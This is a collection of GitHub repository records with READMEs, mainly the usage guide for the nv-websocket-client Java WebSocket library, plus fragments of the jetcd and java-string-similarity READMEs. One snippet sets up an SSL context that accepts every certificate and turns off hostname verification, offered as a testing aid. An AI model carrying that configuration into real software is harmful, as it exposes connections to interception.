EtcdClusterExtension.builder() .withNodes(1) .build(); Client client = Client.builder().endpoints(cluster.clientEndpoints()).build(); ``` This launcher uses the Testcontainers framework. For more info and prerequisites visit [testcontainers.org](https://www.testcontainers.org). ## Versioning The project follows [Semantic Versioning](http://semver.org/). The current major version is zero (0.y.z). Anything may change at any time. The public API should not be considered stable. ## Build from source The project can be built with [Gradle](https://gradle.org/): ``` ./gradlew compileJava ``` ## Running tests The project is tested against a three node `etcd` setup started with the Launcher (above) : ```sh $ ./gradlew test ```` ### Troubleshooting It recommmonds building the project before running tests so that you have artifacts locally. It will solve some problems if the latest snapshot hasn't been uploaded or network issues. ## Contact * Mailing list: [etcd-dev](https://groups.google.com/g/etcd-dev) ## Contributing See [CONTRIBUTING](https://github.com/etcd-io/jetcd/blob/master/CONTRIBUTING.md) for details on submitting patches and the contribution workflow. ## License jetcd is under the Apache 2.0 license. See the [LICENSE](https://github.com/etcd-io/jetcd/blob/master/LICENSE) file for details.
0
TakahikoKawasaki/nv-websocket-client
High-quality WebSocket client implementation in Java.
2015-03-26T08:56:56Z
null
nv-websocket-client =================== Overview -------- High-quality WebSocket client implementation in Java which - complies with [RFC 6455](https://tools.ietf.org/html/rfc6455) (The WebSocket Protocol), - works on Java SE 1.5+ and Android, - supports all the frame types (continuation, binary, text, close, ping and pong), - provides a method to send a fragmented frame in addition to methods for unfragmented frames, - provides a method to get the underlying raw socket of a WebSocket to configure it, - provides a method for [Basic Authentication](https://tools.ietf.org/html/rfc2617), - provides a factory class which utilizes javax.net.SocketFactory interface, - provides a rich listener interface to hook WebSocket events, - has fine-grained error codes for fine-grained controllability on errors, - allows to disable validity checks on RSV1/RSV2/RSV3 bits and opcode of frames, - supports HTTP proxy, especially "Secure WebSocket" (`wss`) through "Secure Proxy" (`https`), - and supports [RFC 7692](https://tools.ietf.org/html/rfc7692) (Compression Extensions for WebSocket), also known as _permessage-deflate_ (not enabled by default). License ------- Apache License, Version 2.0 Maven ----- ```xml <dependency> <groupId>com.neovisionaries</groupId> <artifactId>nv-websocket-client</artifactId> <version>2.14</version> </dependency> ``` Gradle ------ ```Gradle dependencies { compile 'com.neovisionaries:nv-websocket-client:2.14' } ``` OSGi ---- Bundle-SymbolicName: com.neovisionaries.ws.client Export-Package: com.neovisionaries.ws.client;version="2.14.0" Source Code ----------- <code>https://github.com/TakahikoKawasaki/nv-websocket-client.git</code> JavaDoc ------- <code>https://TakahikoKawasaki.github.io/nv-websocket-client/</code> Description ----------- #### Create WebSocketFactory `WebSocketFactory` is a factory class that creates `WebSocket` instances. The first step is to create a `WebSocketFactory` instance. ```java // Create a WebSocketFactory instance. WebSocketFactory factory = new WebSocketFactory(); ``` By default, `WebSocketFactory` uses `SocketFactory.getDefault()` for non-secure WebSocket connections (`ws:`) and `SSLSocketFactory.getDefault()` for secure WebSocket connections (`wss:`). You can change this default behavior by using `WebSocketFactory.setSocketFactory` method, `WebSocketFactory.setSSLSocketFactory` method and `WebSocketFactory.setSSLContext` method. Note that you don't have to call a `setSSL*` method at all if you use the default SSL configuration. Also note that calling `setSSLSocketFactory` method has no meaning if you have called `setSSLContext` method. See the [description](https://takahikokawasaki.github.io/nv-websocket-client/com/neovisionaries/ws/client/WebSocketFactory.html#createSocket-java.net.URI-) of `WebSocketFactory.createSocket(URI)` method for details. The following is an example to set a custom SSL context to a `WebSocketFactory` instance. (Again, you don't have to call a `setSSL*` method if you use the default SSL configuration.) ```java // Create a custom SSL context. SSLContext context = NaiveSSLContext.getInstance("TLS"); // Set the custom SSL context. factory.setSSLContext(context); // Disable manual hostname verification for NaiveSSLContext. // // Manual hostname verification has been enabled since the // version 2.1. Because the verification is executed manually // after Socket.connect(SocketAddress, int) succeeds, the // hostname verification is always executed even if you has // passed an SSLContext which naively accepts any server // certificate. However, this behavior is not desirable in // some cases and you may want to disable the hostname // verification. You can disable the hostname verification // by calling WebSocketFactory.setVerifyHostname(false). factory.setVerifyHostname(false); ``` [NaiveSSLContext](https://gist.github.com/TakahikoKawasaki/d07de2218b4b81bf65ac) used in the above example is a factory class to create an `SSLContext` which naively accepts all certificates without verification. It's enough for testing purposes. When you see an error message "unable to find valid certificate path to requested target" while testing, try `NaiveSSLContext`. SNI (Server Name Indication) is supported since version 2.4. To set up server names, call either `setServerNames(String[])` method or `setServerName(String)` method. If your system has `SSLParameters.setServerNames(List<SNIServerName>)` method, the method is called via reflection. Note that `SSLParameters.setServerNames` is a relatively new method and it is not available before Java 1.8 and Android 7.0 (API Level 24). ```java // Set a server name for SNI (Server Name Indication). factory.setServerName("example.com"); ``` #### HTTP Proxy If a WebSocket endpoint needs to be accessed via an HTTP proxy, information about the proxy server has to be set to a `WebSocketFactory` instance before creating a `WebSocket` instance. Proxy settings are represented by `ProxySettings` class. A `WebSocketFactory` instance has an associated `ProxySettings` instance and it can be obtained by calling `WebSocketFactory.getProxySettings()` method. ```java // Get the associated ProxySettings instance. ProxySettings settings = factory.getProxySettings(); ``` `ProxySettings` class has methods to set information about a proxy server such as `setHost` method and `setPort` method. The following is an example to set a secure (`https`) proxy server. ```java // Set a proxy server. settings.setServer("https://proxy.example.com"); ``` If credentials are required for authentication at a proxy server, `setId` method and `setPassword` method, or `setCredentials` method can be used to set the credentials. Note that, however, the current implementation supports only Basic Authentication. ```java // Set credentials for authentication at a proxy server. settings.setCredentials(id, password); ``` SNI (Server Name Indication) is supported since version 2.4. To set up server names, call either `setServerNames(String[])` method or `setServerName(String)` method. If your system has `SSLParameters.setServerNames(List<SNIServerName>)` method, the method is called via reflection. Note that `SSLParameters.setServerNames` is a relatively new method and it is not available before Java 1.8 and Android 7.0 (API Level 24). ```java // Set a server name for SNI (Server Name Indication). settings.setServerName("example.com"); ``` #### Create WebSocket `WebSocket` class represents a WebSocket. Its instances are created by calling one of `createSocket` methods of a `WebSocketFactory` instance. Below is the simplest example to create a `WebSocket` instance. ```java // Create a WebSocket. The scheme part can be one of the following: // 'ws', 'wss', 'http' and 'https' (case-insensitive). The user info // part, if any, is interpreted as expected. If a raw socket failed // to be created, an IOException is thrown. WebSocket ws = new WebSocketFactory().createSocket("ws://localhost/endpoint"); ``` There are two ways to set a timeout value for socket connection. The first way is to call `setConnectionTimeout(int timeout)` method of `WebSocketFactory`. ```java // Create a WebSocket factory and set 5000 milliseconds as a timeout // value for socket connection. WebSocketFactory factory = new WebSocketFactory().setConnectionTimeout(5000); // Create a WebSocket. The timeout value set above is used. WebSocket ws = factory.createSocket("ws://localhost/endpoint"); ``` The other way is to give a timeout value to a `createSocket` method. ```java // Create a WebSocket factory. The timeout value remains 0. WebSocketFactory factory = new WebSocketFactory(); // Create a WebSocket with a socket connection timeout value. WebSocket ws = factory.createSocket("ws://localhost/endpoint", 5000); ``` The timeout value is passed to `connect(SocketAddress, int)` method of `java.net.Socket`. #### Register Listener After creating a `WebSocket` instance, you should call `addListener` method to register a `WebSocketListener` that receives WebSocket events. `WebSocketAdapter` is an empty implementation of `WebSocketListener` interface. ```java // Register a listener to receive WebSocket events. ws.addListener(new WebSocketAdapter() { @Override public void onTextMessage(WebSocket websocket, String message) throws Exception { // Received a text message. ...... } }); ``` The table below is the list of callback methods defined in `WebSocketListener` interface. | Method | Description | |:------------------------------|:-----------------------------------------------------| | `handleCallbackError` | Called when an `onXxx()` method threw a `Throwable`. | | `onBinaryFrame` | Called when a binary frame was received. | | `onBinaryMessage` | Called when a binary message was received. | | `onCloseFrame` | Called when a close frame was received. | | `onConnected` | Called after the opening handshake succeeded. | | `onConnectError` | Called when `connectAsynchronously()` failed. | | `onContinuationFrame` | Called when a continuation frame was received. | | `onDisconnected` | Called after a WebSocket connection was closed. | | `onError` | Called when an error occurred. | | `onFrame` | Called when a frame was received. | | `onFrameError` | Called when a frame failed to be read. | | `onFrameSent` | Called when a frame was sent. | | `onFrameUnsent` | Called when a frame was not sent. | | `onMessageDecompressionError` | Called when a message failed to be decompressed. | | `onMessageError` | Called when a message failed to be constructed. | | `onPingFrame` | Called when a ping frame was received. | | `onPongFrame` | Called when a pong frame was received. | | `onSendError` | Called when an error occurred on sending a frame. | | `onSendingFrame` | Called before a frame is sent. | | `onSendingHandshake` | Called before an opening handshake is sent. | | `onStateChanged` | Called when the state of WebSocket changed. | | `onTextFrame` | Called when a text frame was received. | | `onTextMessage` | Called when a text message was received. | | `onTextMessageError` | Called when a text message failed to be constructed. | | `onThreadCreated` | Called after a thread was created. | | `onThreadStarted` | Called at the beginning of a thread's run() method. | | `onThreadStopping` | Called at the end of a thread's run() method. | | `onUnexpectedError` | Called when an uncaught throwable was detected. | #### Configure WebSocket Before starting a WebSocket [opening handshake](https://tools.ietf.org/html/rfc6455#section-4) with the server, you can configure the WebSocket instance by using the following methods. | METHOD | DESCRIPTION | |----------------------|---------------------------------------------------------| | `addProtocol` | Adds an element to `Sec-WebSocket-Protocol`. | | `addExtension` | Adds an element to `Sec-WebSocket-Extensions`. | | `addHeader` | Adds an arbitrary HTTP header. | | `setUserInfo` | Adds `Authorization` header for Basic Authentication. | | `getSocket` | Gets the underlying `Socket` instance to configure it. Note that this may return `null` since version 2.9. Consider using `getConnectedSocket()` as necessary. | | `getConnectedSocket` | Establishes and gets the underlying `Socket` instance to configure it. Available since version 2.9. | | `setExtended` | Disables validity checks on RSV1/RSV2/RSV3 and opcode. | | `setFrameQueueSize` | Set the size of the frame queue for congestion control. | | `setMaxPayloadSize` | Set the maximum payload size. | | `setMissingCloseFrameAllowed` | Set to whether to allow the server to close the connection without sending a close frame. | #### Connect To Server By calling `connect()` method, connection to the server is established and a WebSocket opening handshake is performed synchronously. If an error occurred during the handshake, a `WebSocketException` would be thrown. Instead, if the handshake succeeds, the `connect()` implementation creates threads and starts them to read and write WebSocket frames asynchronously. ```java try { // Connect to the server and perform an opening handshake. // This method blocks until the opening handshake is finished. ws.connect(); } catch (OpeningHandshakeException e) { // A violation against the WebSocket protocol was detected // during the opening handshake. } catch (HostnameUnverifiedException e) { // The certificate of the peer does not match the expected hostname. } catch (WebSocketException e) { // Failed to establish a WebSocket connection. } ``` In some cases, `connect()` method throws `OpeningHandshakeException` which is a subclass of `WebSocketException` (since version 1.19). `OpeningHandshakeException` provides additional methods such as `getStatusLine()`, `getHeaders()` and `getBody()` to access the response from a server. The following snippet is an example to print information that the exception holds. ```java catch (OpeningHandshakeException e) { // Status line. StatusLine sl = e.getStatusLine(); System.out.println("=== Status Line ==="); System.out.format("HTTP Version = %s\n", sl.getHttpVersion()); System.out.format("Status Code = %d\n", sl.getStatusCode()); System.out.format("Reason Phrase = %s\n", sl.getReasonPhrase()); // HTTP headers. Map<String, List<String>> headers = e.getHeaders(); System.out.println("=== HTTP Headers ==="); for (Map.Entry<String, List<String>> entry : headers.entrySet()) { // Header name. String name = entry.getKey(); // Values of the header. List<String> values = entry.getValue(); if (values == null || values.size() == 0) { // Print the name only. System.out.println(name); continue; } for (String value : values) { // Print the name and the value. System.out.format("%s: %s\n", name, value); } } } ``` Also, `connect()` method throws `HostnameUnverifiedException` which is a subclass of `WebSocketException` (since version 2.1) when the certificate of the peer does not match the expected hostname. #### Connect To Server Asynchronously The simplest way to call `connect()` method asynchronously is to use `connectAsynchronously()` method. The implementation of the method creates a thread and calls `connect()` method in the thread. When the `connect()` call failed, `onConnectError()` of `WebSocketListener` would be called. Note that `onConnectError()` is called only when `connectAsynchronously()` was used and the `connect()` call executed in the background thread failed. Neither direct synchronous `connect()` nor `connect(ExecutorService)` (described below) will trigger the callback method. ```java // Connect to the server asynchronously. ws.connectAsynchronously(); ``` Another way to call `connect()` method asynchronously is to use `connect(ExecutorService)` method. The method performs a WebSocket opening handshake asynchronously using the given `ExecutorService`. ```java // Prepare an ExecutorService. ExecutorService es = Executors.newSingleThreadExecutor(); // Connect to the server asynchronously. Future<WebSocket> future = ws.connect(es); try { // Wait for the opening handshake to complete. future.get(); } catch (ExecutionException e) { if (e.getCause() instanceof WebSocketException) { ...... } } ``` The implementation of `connect(ExecutorService)` method creates a `Callable<WebSocket>` instance by calling `connectable()` method and passes the instance to `submit(Callable)` method of the given `ExecutorService`. What the implementation of `call()` method of the `Callable` instance does is just to call the synchronous `connect()`. #### Send Frames WebSocket frames can be sent by `sendFrame` method. Other `sendXxx` methods such as `sendText` are aliases of `sendFrame` method. All of the `sendXxx` methods work asynchronously. However, under some conditions, `sendXxx` methods may block. See Congestion Control for details. Below are some examples of `sendXxx` methods. Note that in normal cases, you don't have to call `sendClose` method and `sendPong` method (or their variants) explicitly because they are called automatically when appropriate. ```java // Send a text frame. ws.sendText("Hello."); // Send a binary frame. byte[] binary = ......; ws.sendBinary(binary); // Send a ping frame. ws.sendPing("Are you there?"); ``` If you want to send fragmented frames, you have to know the details of the specification ([5.4. Fragmentation](https://tools.ietf.org/html/rfc6455#section-5.4)). Below is an example to send a text message (`"How are you?"`) which consists of 3 fragmented frames. ```java // The first frame must be either a text frame or a binary frame. // And its FIN bit must be cleared. WebSocketFrame firstFrame = WebSocketFrame .createTextFrame("How ") .setFin(false); // Subsequent frames must be continuation frames. The FIN bit of // all continuation frames except the last one must be cleared. // Note that the FIN bit of frames returned from // WebSocketFrame.createContinuationFrame() method is cleared, // so the example below does not clear the FIN bit explicitly. WebSocketFrame secondFrame = WebSocketFrame .createContinuationFrame("are "); // The last frame must be a continuation frame with the FIN bit // set. Note that the FIN bit of frames returned from // WebSocketFrame.createContinuationFrame methods is cleared, // so the FIN bit of the last frame must be set explicitly. WebSocketFrame lastFrame = WebSocketFrame .createContinuationFrame("you?") .setFin(true); // Send a text message which consists of 3 frames. ws.sendFrame(firstFrame) .sendFrame(secondFrame) .sendFrame(lastFrame); ``` Alternatively, the same as above can be done like this. ```java ws.sendText("How ", false) .sendContinuation("are ") .sendContinuation("you?", true); ``` #### Send Ping/Pong Frames Periodically You can send ping frames periodically by calling `setPingInterval` method with an interval in milliseconds between ping frames. This method can be called both before and after `connect()` method. Passing zero stops the periodical sending. ```java // Send a ping per 60 seconds. ws.setPingInterval(60 * 1000); // Stop the periodical sending. ws.setPingInterval(0); ``` Likewise, you can send pong frames periodically by calling `setPongInterval` method. "_A Pong frame MAY be sent **unsolicited**._" ([RFC 6455, 5.5.3. Pong](https://tools.ietf.org/html/rfc6455#section-5.5.3)) You can customize payload of ping/pong frames that are sent automatically by using `setPingPayloadGenerator()` and `setPongPayloadGenerator()` methods. Both methods take an instance of `PayloadGenerator` interface. The following is an example to use the string representation of the current date as payload of ping frames. ```java ws.setPingPayloadGenerator(new PayloadGenerator() { @Override public byte[] generate() { // The string representation of the current date. return new Date().toString().getBytes(); } }); ``` Note that the maximum payload length of control frames (e.g. ping frames) is 125. Therefore, the length of a byte array returned from `generate()` method must not exceed 125. You can change the names of the `Timer`s that send ping/pong frames periodically by using `setPingSenderName()` and `setPongSenderName()` methods. ```java // Change the Timers' names. ws.setPingSenderName("PING_SENDER"); ws.setPongSenderName("PONG_SENDER"); ``` #### Auto Flush By default, a frame is automatically flushed to the server immediately after `sendFrame` method is executed. This automatic flush can be disabled by calling `setAutoFlush(false)`. ```java // Disable auto-flush. ws.setAutoFlush(false); ``` To flush frames manually, call `flush()` method. Note that this method works asynchronously. ```java // Flush frames to the server manually. ws.flush(); ``` #### Congestion Control `sendXxx` methods queue a `WebSocketFrame` instance to the internal queue. By default, no upper limit is imposed on the queue size, so `sendXxx` methods do not block. However, this behavior may cause a problem if your WebSocket client application sends too many WebSocket frames in a short time for the WebSocket server to process. In such a case, you may want `sendXxx` methods to block when many frames are queued. You can set an upper limit on the internal queue by calling `setFrameQueueSize(int)` method. As a result, if the number of frames in the queue has reached the upper limit when a `sendXxx` method is called, the method blocks until the queue gets spaces. The code snippet below is an example to set 5 as the upper limit of the internal frame queue. ```java // Set 5 as the frame queue size. ws.setFrameQueueSize(5); ``` Note that under some conditions, even if the queue is full, `sendXxx` methods do not block. For example, in the case where the thread to send frames (`WritingThread`) is going to stop or has already stopped. In addition, method calls to send a [control frame](https://tools.ietf.org/html/rfc6455#section-5.5) (e.g. `sendClose()` and `sendPing()`) do not block. #### Maximum Payload Size You can set an upper limit on the payload size of WebSocket frames by calling `setMaxPayloadSize(int)` method with a positive value. Text, binary and continuation frames whose payload size is bigger than the maximum payload size you have set will be split into multiple frames. ```java // Set 1024 as the maximum payload size. ws.setMaxPayloadSize(1024); ``` Control frames (close, ping and pong frames) are never split as per the specification. If permessage-deflate extension is enabled and if the payload size of a WebSocket frame after compression does not exceed the maximum payload size, the WebSocket frame is not split even if the payload size before compression exceeds the maximum payload size. #### Compression The **permessage-deflate** extension ([RFC 7692](https://tools.ietf.org/html/rfc7692)) has been supported since the version 1.17. To enable the extension, call `addExtension` method with `permessage-deflate`. ```java // Enable "permessage-deflate" extension (RFC 7692). ws.addExtension(WebSocketExtension.PERMESSAGE_DEFLATE); ``` #### Missing Close Frame Some server implementations close a WebSocket connection without sending a close frame to a client in some cases. Strictly speaking, this is a violation against the specification ([RFC 6455](https://tools.ietf.org/html/rfc6455)). However, this library has allowed the behavior by default since the version 1.29. Even if the end of the input stream of a WebSocket connection were reached without a close frame being received, it would trigger neither `onError` method nor `onFrameError` method of `WebSocketListener`. If you want to make a `WebSocket` instance report an error in the case, pass `false` to `setMissingCloseFrameAllowed` method. ```java // Make this library report an error when the end of the input stream // of the WebSocket connection is reached before a close frame is read. ws.setMissingCloseFrameAllowed(false); ``` #### Direct Text Message When a text message was received, `onTextMessage(WebSocket, String)` is called. The implementation internally converts the byte array of the text message into a `String` object before calling the listener method. If you want to receive the byte array directly without the string conversion, call `setDirectTextMessage(boolean)` with `true`, and `onTextMessage(WebSocket, byte[])` will be called instead. ```java // Receive text messages without string conversion. ws.setDirectTextMessage(true); ``` #### Disconnect WebSocket Before a WebSocket is closed, a closing handshake is performed. A closing handshake is started (1) when the server sends a close frame to the client or (2) when the client sends a close frame to the server. You can start a closing handshake by calling `disconnect()` method (or by sending a close frame manually). ```java // Close the WebSocket connection. ws.disconnect(); ``` `disconnect()` method has some variants. If you want to change the close code and the reason phrase of the close frame that this client will send to the server, use a variant method such as `disconnect(int, String)`. `disconnect()` itself is an alias of `disconnect(WebSocketCloseCode.NORMAL, null)`. #### Reconnection `WebSocket.connect()` method can be called at most only once regardless of whether the method succeeded or failed. If you want to re-connect to the WebSocket endpoint, you have to create a new `WebSocket` instance again by calling one of `createSocket` methods of a `WebSocketFactory`. You may find `recreate()` method useful if you want to create a new `WebSocket` instance that has the same settings as the original instance. Note that, however, settings you made on the raw socket of the original `WebSocket` instance are not copied. ```java // Create a new WebSocket instance and connect to the same endpoint. ws = ws.recreate().connect(); ``` There is a variant of `recreate()` method that takes a timeout value for socket connection. If you want to use a timeout value that is different from the one used when the existing `WebSocket` instance was created, use `recreate(int timeout)` method. Note that you should not trigger reconnection in `onError()` method because `onError()` may be called multiple times due to one error. Instead, `onDisconnected()` is the right place to trigger reconnection. Also note that the reason I use an expression of "to trigger reconnection" instead of "to call `recreate().connect()`" is that I myself won't do it _synchronously_ in `WebSocketListener` callback methods but will just schedule reconnection or will just go to the top of a kind of _application loop_ that repeats to establish a WebSocket connection until it succeeds. #### Error Handling `WebSocketListener` has some `onXxxError()` methods such as `onFrameError()` and `onSendError()`. Among such methods, `onError()` is a special one. It is always called before any other `onXxxError()` is called. For example, in the implementation of `run()` method of `ReadingThread`, `Throwable` is caught and `onError()` and `onUnexpectedError()` are called in this order. The following is the implementation. ```java @Override public void run() { try { main(); } catch (Throwable t) { // An uncaught throwable was detected in the reading thread. WebSocketException cause = new WebSocketException( WebSocketError.UNEXPECTED_ERROR_IN_READING_THREAD, "An uncaught throwable was detected in the reading thread", t); // Notify the listeners. ListenerManager manager = mWebSocket.getListenerManager(); manager.callOnError(cause); manager.callOnUnexpectedError(cause); } } ``` So, you can handle all error cases in `onError()` method. However, note that `onError()` may be called multiple times for one error cause, so don't try to trigger reconnection in `onError()`. Instead, `onDisconnected()` is the right place to trigger reconnection. All `onXxxError()` methods receive a `WebSocketException` instance as the second argument (the first argument is a `WebSocket` instance). The exception class provides `getError()` method which returns a `WebSocketError` enum entry. Entries in `WebSocketError` enum are possible causes of errors that may occur in the implementation of this library. The error causes are so granular that they can make it easy for you to find the root cause when an error occurs. `Throwable`s thrown by implementations of `onXxx()` callback methods are passed to `handleCallbackError()` of `WebSocketListener`. ```java public void handleCallbackError(WebSocket websocket, Throwable cause) throws Exception { // Throwables thrown by onXxx() callback methods come here. } ``` #### Thread Callbacks Some threads are created internally in the implementation of `WebSocket`. Known threads are as follows. | Thread Type | Description | |:-----------------|:------------------------------------------------------------| | `READING_THREAD` | A thread which reads WebSocket frames from the server. | | `WRITING_THREAD` | A thread which sends WebSocket frames to the server. | | `CONNECT_THREAD` | A thread which calls `WebSocket.connect()` asynchronously. | | `FINISH_THREAD` | A thread which does finalization of a `WebSocket` instance. | The following callack methods of `WebSocketListener` are called according to the life cycle of the threads. | Method | Description | |:---------------------|:--------------------------------------------------------| | `onThreadCreated()` | Called after a thread was created. | | `onThreadStarted()` | Called at the beginning of the thread's `run()` method. | | `onThreadStopping()` | Called at the end of the thread's `run()` method. | For example, if you want to change the name of the reading thread, implement `onThreadCreated()` method like below. ```java @Override public void onThreadCreated(WebSocket ws, ThreadType type, Thread thread) { if (type == ThreadType.READING_THREAD) { thread.setName("READING_THREAD"); } } ``` Sample Application ------------------ The following is a sample application that connects to the echo server on [websocket.org](https://www.websocket.org) (`ws://echo.websocket.org`) and repeats to (1) read a line from the standard input, (2) send the read line to the server and (3) prints the response from the server, until `exit` is entered. The source code can be downloaded from [Gist](https://gist.github.com/TakahikoKawasaki/e79d36bf91bf9508ddd2). ```java import java.io.*; import com.neovisionaries.ws.client.*; public class EchoClient { /** * The echo server on websocket.org. */ private static final String SERVER = "ws://echo.websocket.org"; /** * The timeout value in milliseconds for socket connection. */ private static final int TIMEOUT = 5000; /** * The entry point of this command line application. */ public static void main(String[] args) throws Exception { // Connect to the echo server. WebSocket ws = connect(); // The standard input via BufferedReader. BufferedReader in = getInput(); // A text read from the standard input. String text; // Read lines until "exit" is entered. while ((text = in.readLine()) != null) { // If the input string is "exit". if (text.equals("exit")) { // Finish this application. break; } // Send the text to the server. ws.sendText(text); } // Close the WebSocket. ws.disconnect(); } /** * Connect to the server. */ private static WebSocket connect() throws IOException, WebSocketException { return new WebSocketFactory() .setConnectionTimeout(TIMEOUT) .createSocket(SERVER) .addListener(new WebSocketAdapter() { // A text message arrived from the server. public void onTextMessage(WebSocket websocket, String message) { System.out.println(message); } }) .addExtension(WebSocketExtension.PERMESSAGE_DEFLATE) .connect(); } /** * Wrap the standard input with BufferedReader. */ private static BufferedReader getInput() throws IOException { return new BufferedReader(new InputStreamReader(System.in)); } } ``` Limitations ----------- * According to the specification ([RFC 6455](https://tools.ietf.org/html/rfc6455)), the maximum length of the payload part of a frame is (2^63 - 1), but this library cannot treat frames whose payload length is greater than (2^31 - 1). * HTTP response codes other than "101 Switching Protocols" from a WebSocket endpoint are not supported. Note that this means redirection (3xx) is not supported. * Currently, by default, `permessage-deflate` extension is not enabled. * As for [RFC 7692](https://tools.ietf.org/html/rfc7692). The current implementation does not support context takeover on the client side. Also, if the agreed size of the sliding window on the client side is less than the maximum size allowed by the specification (32,768) (this happens when a WebSocket server returns `client_max_window_bits` parameter with a value that is less than 15), outgoing frames are not compressed when the payload size before compression is bigger than the agreed sliding window size. Note ---- * The version 2.9 introduced a change that breaks backward compatibility where `WebSocket.getSocket()` may return null if the underlying socket has not been established yet. Consider using `getConnectedSocket()` method as necessary. See Also -------- - [RFC 6455](https://tools.ietf.org/html/rfc6455) The WebSocket Protocol - [RFC 7692](https://tools.ietf.org/html/rfc7692) Compression Extensions for WebSocket TODO ---- - SOCKS support - Public Key Pinning support ([RFC 7469](https://tools.ietf.org/html/rfc7469)) - And other [issues](https://github.com/TakahikoKawasaki/nv-websocket-client/issues) Acknowledgement --------------- - PR #107 has incorporated `DistinguishedNameParser` and `OkHostnameVerifier` into this library and they are from [okhttp](https://github.com/square/okhttp). Author ------ [Authlete, Inc.](https://www.authlete.com/)<br/> Takahiko Kawasaki &lt;taka@authlete.com&gt;
0
tdebatty/java-string-similarity
Implementation of various string similarity and distance algorithms: Levenshtein, Jaro-winkler, n-Gram, Q-Gram, Jaccard index, Longest Common Subsequence edit distance, cosine similarity ...
2014-04-17T12:10:57Z
null
# java-string-similarity [![Maven Central](https://maven-badges.herokuapp.com/maven-central/info.debatty/java-string-similarity/badge.svg)](https://maven-badges.herokuapp.com/maven-central/info.debatty/java-string-similarity) [![Build Status](https://github.com/tdebatty/java-string-similarity/actions/workflows/maven.yml/badge.svg)](https://github.com/tdebatty/java-string-similarity/actions/workflows/maven.yml) [![Coverage Status](https://coveralls.io/repos/tdebatty/java-string-similarity/badge.svg?branch=master&service=github)](https://coveralls.io/github/tdebatty/java-string-similarity?branch=master) [![Javadocs](http://www.javadoc.io/badge/info.debatty/java-string-similarity.svg)](http://www.javadoc.io/doc/info.debatty/java-string-similarity) A library implementing different string similarity and distance measures. A dozen of algorithms (including Levenshtein edit distance and sibblings, Jaro-Winkler, Longest Common Subsequence, cosine similarity etc.) are currently implemented. Check the summary table below for the complete list... * [Download](#download) * [Overview](#overview) * [Normalized, metric, similarity and distance](#normalized-metric-similarity-and-distance) * [Shingles (n-gram) based similarity and distance](#shingles-n-gram-based-similarity-and-distance) * [Levenshtein](#levenshtein) * [Normalized Levenshtein](#normalized-levenshtein) * [Weighted Levenshtein](#weighted-levenshtein) * [Damerau-Levenshtein](#damerau-levenshtein) * [Optimal String Alignment](#optimal-string-alignment) * [Jaro-Winkler](#jaro-winkler) * [Longest Common Subsequence](#longest-common-subsequence) * [Metric Longest Common Subsequence](#metric-longest-common-subsequence) * [N-Gram](#n-gram) * [Shingle (n-gram) based algorithms](#shingle-n-gram-based-algorithms) * [Q-Gram](#shingle-n-gram-based-algorithms) * [Cosine similarity](#shingle-n-gram-based-algorithms) * [Jaccard index](#shingle-n-gram-based-algorithms) * [Sorensen-Dice coefficient](#shingle-n-gram-based-algorithms) * [Ratcliff-Obershelp](#ratcliff-obershelp) * [Experimental](#experimental) * [SIFT4](#sift4) * [Users](#users) ## Download Using maven: ``` <dependency> <groupId>info.debatty</groupId> <artifactId>java-string-similarity</artifactId> <version>RELEASE</version> </dependency> ``` Or check the [releases](https://github.com/tdebatty/java-string-similarity/releases). This library requires Java 8 or more recent. ## Overview The main characteristics of each implemented algorithm are presented below. The "cost" column gives an estimation of the computational cost to compute the similarity between two strings of length m and n respectively. | | | Normalized? | Metric? | Type | Cost | Typical usage | | -------- |------- |------------- |-------- | ------ | ---- | --- | | [Levenshtein](#levenshtein) |distance | No | Yes | | O(m*n) <sup>1</sup> | | | [Normalized Levenshtein](#normalized-levenshtein) |distance<br>similarity | Yes | No | | O(m*n) <sup>1</sup> | | | [Weighted Levenshtein](#weighted-levenshtein) |distance | No | No | | O(m*n) <sup>1</sup> | OCR | | [Damerau-Levenshtein](#damerau-levenshtein) <sup>3</sup> |distance | No | Yes | | O(m*n) <sup>1</sup> | | | [Optimal String Alignment](#optimal-string-alignment) <sup>3</sup> |distance | No | No | | O(m*n) <sup>1</sup> | | | [Jaro-Winkler](#jaro-winkler) |similarity<br>distance | Yes | No | | O(m*n) | typo correction | | [Longest Common Subsequence](#longest-common-subsequence) |distance | No | No | | O(m*n) <sup>1,2</sup> | diff utility, GIT reconciliation | | [Metric Longest Common Subsequence](#metric-longest-common-subsequence) |distance | Yes | Yes | | O(m*n) <sup>1,2</sup> | | | [N-Gram](#n-gram) |distance | Yes | No | | O(m*n) | | | [Q-Gram](#q-gram) |distance | No | No | Profile | O(m+n) | | | [Cosine similarity](#cosine-similarity) |similarity<br>distance | Yes | No | Profile | O(m+n) | | | [Jaccard index](#jaccard-index) |similarity<br>distance | Yes | Yes | Set | O(m+n) | | | [Sorensen-Dice coefficient](#sorensen-dice-coefficient) |similarity<br>distance | Yes | No | Set | O(m+n) | | | [Ratcliff-Obershelp](#ratcliff-obershelp) |similarity<br>distance | Yes | No | | ? | | [1] In this library, Levenshtein edit distance, LCS distance and their sibblings are computed using the **dynamic programming** method, which has a cost O(m.n). For Levenshtein distance, the algorithm is sometimes called **Wagner-Fischer algorithm** ("The string-to-string correction problem", 1974). The original algorithm uses a matrix of size m x n to store the Levenshtein distance between string prefixes. If the alphabet is finite, it is possible to use the **method of four russians** (Arlazarov et al. "On economic construction of the transitive closure of a directed graph", 1970) to speedup computation. This was published by Masek in 1980 ("A Faster Algorithm Computing String Edit Distances"). This method splits the matrix in blocks of size t x t. Each possible block is precomputed to produce a lookup table. This lookup table can then be used to compute the string similarity (or distance) in O(nm/t). Usually, t is choosen as log(m) if m > n. The resulting computation cost is thus O(mn/log(m)). This method has not been implemented (yet). [2] In "Length of Maximal Common Subsequences", K.S. Larsen proposed an algorithm that computes the length of LCS in time O(log(m).log(n)). But the algorithm has a memory requirement O(m.n²) and was thus not implemented here. [3] There are two variants of Damerau-Levenshtein string distance: Damerau-Levenshtein with adjacent transpositions (also sometimes called unrestricted Damerau–Levenshtein distance) and Optimal String Alignment (also sometimes called restricted edit distance). For Optimal String Alignment, no substring can be edited more than once. ## Normalized, metric, similarity and distance Although the topic might seem simple, a lot of different algorithms exist to measure text similarity or distance. Therefore the library defines some interfaces to categorize them. ### (Normalized) similarity and distance - StringSimilarity : Implementing algorithms define a similarity between strings (0 means strings are completely different). - NormalizedStringSimilarity : Implementing algorithms define a similarity between 0.0 and 1.0, like Jaro-Winkler for example. - StringDistance : Implementing algorithms define a distance between strings (0 means strings are identical), like Levenshtein for example. The maximum distance value depends on the algorithm. - NormalizedStringDistance : This interface extends StringDistance. For implementing classes, the computed distance value is between 0.0 and 1.0. 